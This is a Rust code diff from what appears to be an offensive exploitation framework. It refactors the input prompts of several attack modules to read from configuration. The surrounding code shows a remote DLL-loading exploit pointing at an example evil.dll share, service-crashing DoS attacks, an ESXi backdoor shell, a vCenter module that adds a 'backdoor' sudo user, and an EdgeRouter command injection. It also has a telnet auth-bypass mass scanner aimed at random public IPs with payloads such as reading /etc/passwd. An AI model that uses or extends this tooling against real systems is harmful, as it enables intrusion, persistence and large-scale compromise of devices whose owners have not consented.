@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
// Parse target
let target_host = if target.is_empty() {
prompt_required("Target IP/Hostname")?
cfg_prompt_required("target", "Target IP/Hostname")?
} else {
normalize_target(target)?
};
@@ -28,7 +28,7 @@ pub async fn run(target: &str) -> Result<()> {
.unwrap_or(&target_host)
.to_string();
let port = prompt_port("Port", DEFAULT_PORT)?;
let port = cfg_prompt_port("port", "Port", DEFAULT_PORT)?;
println!("[*] Target: {}:{}", target_host, port);
@@ -37,18 +37,18 @@ pub async fn run(target: &str) -> Result<()> {
println!("1. Exploit (Load Remote DLL)");
println!("2. Exit");
let choice = prompt_default("Select option", "1")?;
let choice = cfg_prompt_default("mode", "Select option", "1")?;
match choice.as_str() {
"1" => {
let dll_path = prompt_required("DLL Path (e.g., \\\\192.168.1.100\\share\\evil.dll)")?;
let dll_path = cfg_prompt_required("dll_path", "DLL Path (e.g., \\\\192.168.1.100\\share\\evil.dll)")?;
if dll_path.is_empty() {
println!("{}", "[-] DLL path cannot be empty.".red());
continue;
}
if prompt_yes_no("Send exploit payload?", false)? {
if cfg_prompt_yes_no("confirm_exploit", "Send exploit payload?", false)? {
exploit(&target_host, port, &dll_path).await?;
}
}
@@ -2,7 +2,7 @@ use anyhow::{Context, Result};
use colored::*;
use tokio::net::TcpStream;
use byteorder::{BigEndian, LittleEndian, WriteBytesExt};
use crate::utils::{prompt_default, prompt_required, prompt_port, prompt_yes_no, normalize_target};
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
const DEFAULT_PORT: u16 = 20001;
@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
// Parse target
let target_host = if target.is_empty() {
prompt_required("Target IP/Hostname")?
cfg_prompt_required("target", "Target IP/Hostname")?
} else {
normalize_target(target)?
};
@@ -27,7 +27,7 @@ pub async fn run(target: &str) -> Result<()> {
.unwrap_or(&target_host)
.to_string();
let port = prompt_port("Port", DEFAULT_PORT)?;
let port = cfg_prompt_port("port", "Port", DEFAULT_PORT)?;
println!("[*] Target: {}:{}", target_host, port);
println!("{}", "[!] WARNING: This exploit will CRASH the MsgReceiver service!".red().bold());
@@ -37,11 +37,11 @@ pub async fn run(target: &str) -> Result<()> {
println!("1. Attack (DoS - Crash Service)");
println!("2. Exit");
let choice = prompt_default("Select option", "2")?;
let choice = cfg_prompt_default("mode", "Select option", "2")?;
match choice.as_str() {
"1" => {
if prompt_yes_no("This will crash the target service. Continue?", false)? {
if cfg_prompt_yes_no("confirm_exploit", "This will crash the target service. Continue?", false)? {
exploit(&target_host, port).await?;
}
}
@@ -2,7 +2,7 @@ use anyhow::{Context, Result};
use colored::*;
use tokio::net::TcpStream;
use byteorder::{BigEndian, LittleEndian, WriteBytesExt};
use crate::utils::{prompt_default, prompt_required, prompt_port, prompt_yes_no, normalize_target};
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
const DEFAULT_PORT: u16 = 20001;
@@ -14,7 +14,7 @@ pub async fn run(target: &str) -> Result<()> {
// Parse target
let target_host = if target.is_empty() {
prompt_required("Target IP/Hostname")?
cfg_prompt_required("target", "Target IP/Hostname")?
} else {
normalize_target(target)?
};
@@ -27,7 +27,7 @@ pub async fn run(target: &str) -> Result<()> {
.unwrap_or(&target_host)
.to_string();
let port = prompt_port("Port", DEFAULT_PORT)?;
let port = cfg_prompt_port("port", "Port", DEFAULT_PORT)?;
println!("[*] Target: {}:{}", target_host, port);
println!("{}", "[!] WARNING: This exploit will CRASH the MsgReceiver service!".red().bold());
@@ -37,11 +37,11 @@ pub async fn run(target: &str) -> Result<()> {
println!("1. Attack (DoS - OOB Read Crash)");
println!("2. Exit");
let choice = prompt_default("Select option", "2")?;
let choice = cfg_prompt_default("mode", "Select option", "2")?;
match choice.as_str() {
"1" => {
if prompt_yes_no("This will crash the target service. Continue?", false)? {
if cfg_prompt_yes_no("confirm_exploit", "This will crash the target service. Continue?", false)? {
exploit(&target_host, port).await?;
}
}
@@ -13,11 +13,11 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::{Read, Write};
use std::io::Read;
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default, prompt_port};
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -224,14 +224,7 @@ pub async fn check_vulnerability(host: &str, port: u16, username: &str, password
Ok(false)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
@@ -241,9 +234,9 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt_default("ESXi Username", "root")?;
let password = prompt("ESXi Password").await?;
let port: u16 = cfg_prompt_port("port", "SSH Port", 22)?;
let username = cfg_prompt_default("username", "ESXi Username", "root")?;
let password = cfg_prompt_required("password", "ESXi Password")?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
@@ -255,7 +248,7 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 3. Full Scan (both)");
println!();
let mode = prompt_default("Mode", "3")?;
let mode = cfg_prompt_default("mode", "Mode", "3")?;
match mode.as_str() {
"1" => {
@@ -17,7 +17,7 @@ use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default, prompt_port};
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -194,14 +194,7 @@ pub async fn exec_command(host: &str, port: u16, command: &str) -> Result<String
send_command(&mut stream, command)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
@@ -211,7 +204,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target ESXi: {}", host).cyan());
// Default to port 21 (hijacked FTP via inetd)
let port: u16 = prompt_port("Backdoor Port (TCP fallback)", 21)?;
let port: u16 = cfg_prompt_port("port", "Backdoor Port (TCP fallback)", 21)?;
println!();
println!("{}", "Select mode:".yellow().bold());
@@ -221,24 +214,24 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 4. Execute Single Command");
println!();
let mode = prompt_default("Mode", "1")?;
let mode = cfg_prompt_default("mode", "Mode", "1")?;
match mode.as_str() {
"1" => {
interactive_shell(&host, port).await?;
}
"2" => {
let remote_path = prompt("Remote file path on ESXi").await?;
let local_path = prompt("Local path to save").await?;
let remote_path = cfg_prompt_required("remote_path", "Remote file path on ESXi")?;
let local_path = cfg_prompt_required("local_path", "Local path to save")?;
get_file(&host, port, &remote_path, &local_path).await?;
}
"3" => {
let local_path = prompt("Local file path").await?;
let remote_path = prompt("Remote path on ESXi").await?;
let local_path = cfg_prompt_required("local_path", "Local file path")?;
let remote_path = cfg_prompt_required("remote_path", "Remote path on ESXi")?;
post_file(&host, port, &local_path, &remote_path).await?;
}
"4" => {
let command = prompt("Command to execute").await?;
let command = cfg_prompt_required("command", "Command to execute")?;
let output = exec_command(&host, port, &command).await?;
println!();
println!("{}", output);
@@ -16,11 +16,11 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::{Read, Write};
use std::io::Read;
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default, prompt_int_range, prompt_port};
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_int_range, cfg_prompt_port, cfg_prompt_required};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -206,14 +206,7 @@ pub async fn attack_add_user(host: &str, port: u16, username: &str, password: &s
Ok(true)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
@@ -223,12 +216,12 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt("vCenter Admin Username").await?;
let port: u16 = cfg_prompt_port("port", "SSH Port", 22)?;
let username = cfg_prompt_required("username", "vCenter Admin Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt("Password").await?;
let password = cfg_prompt_required("password", "Password")?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
@@ -240,22 +233,22 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 3. Add Backdoor User (sudo access)");
println!();
let mode = prompt_int_range("Attack mode", 1, 1, 3)?;
let mode = cfg_prompt_int_range("mode", "Attack mode", 1, 1, 3)?;
match mode {
1 => {
attack_check(&host, port, &username, &password).await?;
}
2 => {
let command = prompt("Command to execute as root").await?;
let command = cfg_prompt_required("command", "Command to execute as root")?;
if command.is_empty() {
return Err(anyhow!("Command is required"));
}
attack_exec(&host, port, &username, &password, &command).await?;
}
3 => {
let backdoor_user = prompt_default("Backdoor username", "backdoor")?;
let backdoor_pass = prompt_default("Backdoor password", "Backdoor123!")?;
let backdoor_user = cfg_prompt_default("backdoor_user", "Backdoor username", "backdoor")?;
let backdoor_pass = cfg_prompt_default("backdoor_pass", "Backdoor password", "Backdoor123!")?;
attack_add_user(&host, port, &username, &password, &backdoor_user, &backdoor_pass).await?;
}
_ => {
@@ -15,11 +15,11 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::{Read, Write};
use std::io::Read;
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default, prompt_port};
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -151,14 +151,7 @@ pub async fn attack_enum(host: &str, port: u16, username: &str, password: &str)
Ok(found_any)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
@@ -168,12 +161,12 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt("vCenter Admin Username").await?;
let port: u16 = cfg_prompt_port("port", "SSH Port", 22)?;
let username = cfg_prompt_required("username", "vCenter Admin Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt("Password").await?;
let password = cfg_prompt_required("password", "Password")?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
@@ -184,14 +177,14 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 2. Read Specific File");
println!();
let mode = prompt_default("Mode", "1")?;
let mode = cfg_prompt_default("mode", "Mode", "1")?;
match mode.as_str() {
"1" => {
attack_enum(&host, port, &username, &password).await?;
}
"2" => {
let file_path = prompt("File path to read").await?;
let file_path = cfg_prompt_required("file_path", "File path to read")?;
if file_path.is_empty() {
return Err(anyhow!("File path is required"));
}
@@ -15,10 +15,9 @@
use anyhow::{anyhow, Context, Result};
use colored::Colorize;
use reqwest::Client;
use std::io::Write;
use std::time::Duration;
use crate::utils::prompt_yes_no;
use crate::utils::{cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no};
// ============================================================================
// CONSTANTS
@@ -265,11 +264,7 @@ fn gather_config(initial_target: &str) -> Result<ExploitConfig> {
} else if !initial_target.is_empty() {
format!("http://{}", initial_target.trim_end_matches('/'))
} else {
print!("{}", "Target IP/URL: ".green());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let input = input.trim();
let input = cfg_prompt_required("target", "Target IP/URL")?;
if input.is_empty() {
return Err(anyhow!("Target is required"));
}
@@ -280,41 +275,21 @@ fn gather_config(initial_target: &str) -> Result<ExploitConfig> {
}
};
// Credentials
print!("{}", "Username [admin]: ".green());
std::io::stdout().flush()?;
let mut username = String::new();
std::io::stdin().read_line(&mut username)?;
let username = username.trim();
let username = if username.is_empty() { "admin".to_string() } else { username.to_string() };
let username = cfg_prompt_default("username", "Username", "admin")?;
print!("{}", "Password: ".green());
std::io::stdout().flush()?;
let mut password = String::new();
std::io::stdin().read_line(&mut password)?;
let password = password.trim().to_string();
let password = cfg_prompt_required("password", "Password")?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
// Command to execute
print!("{}", "Command to execute [id]: ".green());
std::io::stdout().flush()?;
let mut command = String::new();
std::io::stdin().read_line(&mut command)?;
let command = command.trim();
let command = if command.is_empty() { "id".to_string() } else { command.to_string() };
let command = cfg_prompt_default("command", "Command to execute", "id")?;
// Timeout
print!("{}", format!("Timeout seconds [{}]: ", DEFAULT_TIMEOUT_SECS).green());
std::io::stdout().flush()?;
let mut timeout_input = String::new();
std::io::stdin().read_line(&mut timeout_input)?;
let timeout_secs = timeout_input.trim().parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let timeout_str = cfg_prompt_default("timeout", "Timeout seconds", &DEFAULT_TIMEOUT_SECS.to_string())?;
let timeout_secs = timeout_str.trim().parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
// SSL verification
let verify_ssl = !prompt_yes_no("Skip SSL verification?", true)?;
let verify_ssl = !cfg_prompt_yes_no("skip_ssl", "Skip SSL verification?", true)?;
let config = ExploitConfig {
target_url,
@@ -335,7 +310,7 @@ fn gather_config(initial_target: &str) -> Result<ExploitConfig> {
println!(" Timeout: {}s", config.timeout_secs);
println!(" SSL: {}", if config.verify_ssl { "verified" } else { "skip" });
if !prompt_yes_no("\nProceed with exploit?", true)? {
if !cfg_prompt_yes_no("proceed", "Proceed with exploit?", true)? {
return Err(anyhow!("Cancelled by user"));
}
@@ -2,7 +2,7 @@ use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_default};
use urlencoding;
/// Ubiquiti EdgeRouter X Command Injection (CVE-2023-2376)
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP/URL")?
cfg_prompt_required("target", "Target IP/URL")?
} else {
target.to_string()
};
@@ -31,10 +31,10 @@ pub async fn run(target: &str) -> Result<()> {
println!("{} Target: {}", "[*]".blue(), base_url);
// Authentication required
let username = prompt_default("Username", "ubnt")?;
let password = prompt_default("Password", "ubnt")?;
let username = cfg_prompt_default("username", "Username", "ubnt")?;
let password = cfg_prompt_default("password", "Password", "ubnt")?;
let cmd = prompt_default("Command to execute", "id")?;
let cmd = cfg_prompt_default("command", "Command to execute", "id")?;
println!("{} Authenticating...", "[*]".blue());
@@ -12,7 +12,7 @@ use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use chrono::Local;
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_yes_no};
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_yes_no, cfg_prompt_required};
use crate::modules::creds::utils::generate_random_public_ip;
const DEFAULT_TIMEOUT_SECS: u64 = 5;
@@ -387,7 +387,7 @@ fn prompt_exploit_config() -> Result<ExploitConfig> {
println!("{}", "\n[Operation Mode]".bold().cyan());
println!(" 1. Just Vulnerability Check (Safe)");
println!(" 2. Execute Command Payload (Unsafe)");
let choice = prompt_default("Select mode [1-2]", "1")?;
let choice = cfg_prompt_default("mode", "Select mode [1-2]", "1")?;
let mode = if choice == "2" { ExploitMode::ExecuteCommand } else { ExploitMode::CheckOnly };
@@ -398,24 +398,20 @@ fn prompt_exploit_config() -> Result<ExploitConfig> {
println!(" 2. Read /etc/passwd");
println!(" 3. List Root Directory (ls -la /)");
println!(" 4. Custom Command");
let p_choice = prompt_default("Select payload [1-4]", "1")?;
let p_choice = cfg_prompt_default("payload", "Select payload [1-4]", "1")?;
payload = match p_choice.as_str() {
"1" => "id; whoami; uname -a".to_string(),
"2" => "cat /etc/passwd".to_string(),
"3" => "ls -la /".to_string(),
"4" => {
print!("{}", "Enter custom command: ".green());
std::io::Write::flush(&mut std::io::stdout())?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
input.trim().to_string()
cfg_prompt_required("custom_command", "Custom command")?
}
_ => "id; whoami; uname -a".to_string(),
};
}
let user = prompt_default("Username to bypass as", "root")?;
let user = cfg_prompt_default("username", "Username to bypass as", "root")?;
Ok(ExploitConfig { mode, user, payload })
}
@@ -428,7 +424,7 @@ async fn run_mass_scan(config: ExploitConfig) -> Result<()> {
println!("{}", format!("[*] Payload: {}", config.payload).cyan());
}
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
let use_exclusions = cfg_prompt_yes_no("exclude_reserved", "Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
@@ -439,10 +435,10 @@ async fn run_mass_scan(config: ExploitConfig) -> Result<()> {
}
let exclusions = Arc::new(exclusions);
let outfile = prompt_default("[?] Output File", "telnet_exploit_hits.txt")?;
let outfile = cfg_prompt_default("output_file", "Output File", "telnet_exploit_hits.txt")?;
let outfile = Arc::new(outfile);
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
let threads = cfg_prompt_default("concurrency", "Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
.parse::<usize>()
.map_or(MASS_SCAN_CONCURRENCY, |v| if v > 0 { v } else { MASS_SCAN_CONCURRENCY });
@@ -577,7 +573,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", "[-] No common telnet ports were found VULNERABLE".red());
}
} else {
let port = prompt_port("Explicit Telnet Port", 23)?;
let port = cfg_prompt_port("port", "Explicit Telnet Port", 23)?;
let mut exploit = TelnetExploit::new(target, port, &config.user, Some(config.payload.clone()));
exploit.run_exploit(DEFAULT_TIMEOUT_SECS, true).await?;
}